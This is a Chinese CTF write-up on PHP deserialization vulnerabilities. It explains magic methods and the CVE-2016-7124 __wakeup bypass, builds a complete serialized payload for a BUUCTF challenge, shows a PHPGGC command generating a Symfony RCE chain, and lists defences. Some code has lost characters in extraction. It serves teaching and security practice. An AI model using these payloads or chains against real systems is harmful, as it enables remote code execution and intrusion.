1. PHP反序列化漏洞初探第一次接触PHP反序列化漏洞是在去年的CTF比赛中当时遇到一道题目让我抓耳挠腮了好几个小时。后来才发现原来这就是传说中的对象注入漏洞。简单来说当程序将用户输入的序列化数据还原成PHP对象时如果没有做好安全检查攻击者就能通过精心构造的序列化字符串来操控程序行为。PHP序列化的过程就像把对象打包成字符串而反序列化则是把这个字符串解包还原成对象。在这个过程中有几个特殊的魔术方法会自动执行__construct()对象创建时调用__wakeup()反序列化完成后立即调用__destruct()对象销毁时调用在CTF题目中最常见的就是利用__destruct()方法来触发关键操作。比如下面这个典型的例子class VulnerableClass { private $data default; function __destruct() { if($this-data admin) { system(cat /flag); } } }2. 深入理解__wakeup与__destruct2.1 __wakeup的防御机制__wakeup方法就像是对象的起床闹钟在反序列化完成后立即执行。很多CTF题目会利用它来重置对象属性防止攻击者篡改关键数据。比如function __wakeup() { $this-username guest; $this-is_admin false; }这种设计本意是好的但PHP 5.6.25之前版本存在一个有趣的漏洞CVE-2016-7124。当序列化字符串中声明的属性数量大于实际数量时__wakeup方法就会被跳过。这就给了我们绕过防御的机会。2.2 __destruct的攻击价值相比之下__destruct就像是对象的临终遗言在对象被销毁时执行。由于PHP脚本结束时会自动销毁所有对象这使得__destruct成为攻击者的理想切入点。在CTF中经常能看到这样的代码function __destruct() { if($this-auth_token secret) { echo $FLAG; } }攻击者的目标就是构造一个序列化字符串使得反序列化后的对象在销毁时满足输出flag的条件。3. 实战BUUCTF题目解析3.1 题目环境搭建我们先还原一下BUUCTF的题目环境。下载提供的www.zip后发现关键代码在class.php中class Name { private $username nonono; private $password yesyes; function __wakeup() { $this-username guest; } function __destruct() { if ($this-password ! 100) { die(Wrong password!); } if ($this-username admin) { global $flag; echo $flag; } } }3.2 漏洞利用思路要拿到flag需要满足两个条件绕过__wakeup对username的重置确保password等于100且username等于admin第一步我们利用CVE-2016-7124通过修改属性数量来绕过__wakeup。第二步则需要正确构造private属性的序列化字符串。4. 构造攻击payload4.1 基础payload构造我们先写一个简单的生成脚本?php class Name { private $username admin; private $password 100; } echo serialize(new Name()); ?这会输出O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;s:3:100;}4.2 处理private属性这里有个坑点private属性在序列化时会被加上类名前缀和空字符。直接复制粘贴会丢失这些不可见字符所以需要手动处理原始格式s:14:\0Name\0username;s:5:admin;URL编码后s:14:%00Name%00username;s:5:admin;4.3 绕过__wakeup根据CVE-2016-7124我们将属性数量从2改为更大的数字比如3O:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;s:3:100;}4.4 最终攻击将构造好的payload通过GET参数传递?selectO:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;s:3:100;}5. 漏洞防御方案5.1 输入过滤永远不要反序列化不可信的输入数据。如果必须这么做至少要检查数据来源if(!isset($_SESSION[trusted_data])) { die(Untrusted source!); } $data unserialize($_SESSION[trusted_data]);5.2 使用json替代考虑使用json_encode/json_decode代替序列化// 序列化 $safe_data json_encode($object); // 反序列化 $object json_decode($json_data, true);5.3 魔术方法安全在__wakeup和__destruct中不要放置关键业务逻辑。如果必须使用要添加严格检查function __wakeup() { if(!$this-isValid()) { throw new Exception(Invalid data); } }6. 深入理解序列化细节6.1 属性可见性与序列化PHP中不同可见性的属性序列化后格式不同public直接显示变量名s:3:varprotected添加\0*\0前缀s:5:\0*\0varprivate添加\0类名\0前缀s:11:\0Class\0var6.2 对象注入的其他利用方式除了__destruct还可以利用__toString对象被当作字符串使用时触发__call调用不存在的方法时触发__get/__set访问不存在属性时触发7. 真实环境中的案例去年某CMS爆出的反序列化漏洞就是类似原理。攻击者通过用户可控的session数据注入恶意对象最终导致远程代码执行。修复方案是使用PHP 7.3.4以上版本并在unserialize前进行严格校验。8. CTF技巧进阶在更复杂的题目中可能会遇到多级对象注入使用phar://协议触发反序列化结合其他漏洞如文件包含一个实用的技巧是使用PHPGGC工具生成常见框架的利用链phpggc Symfony/RCE4 exec cat /flag -b9. 调试技巧当payload不生效时可以在目标代码中添加var_dump($_GET)检查PHP版本是否匹配CVE要求使用urlencode()确保特殊字符正确传输对比本地和远程的序列化字符串差异10. 学习资源推荐想深入学习的同学可以参考PHP官方文档中关于序列化的章节OWASP关于反序列化漏洞的指南PHPGGC工具中的各种利用链历年CTF比赛中关于PHP反序列化的题目记得在测试时使用docker搭建隔离环境避免影响生产系统。我在本地搭建测试环境时常用这个命令docker run -it -p 8080:80 --name php-test vulnerables/web-dvwa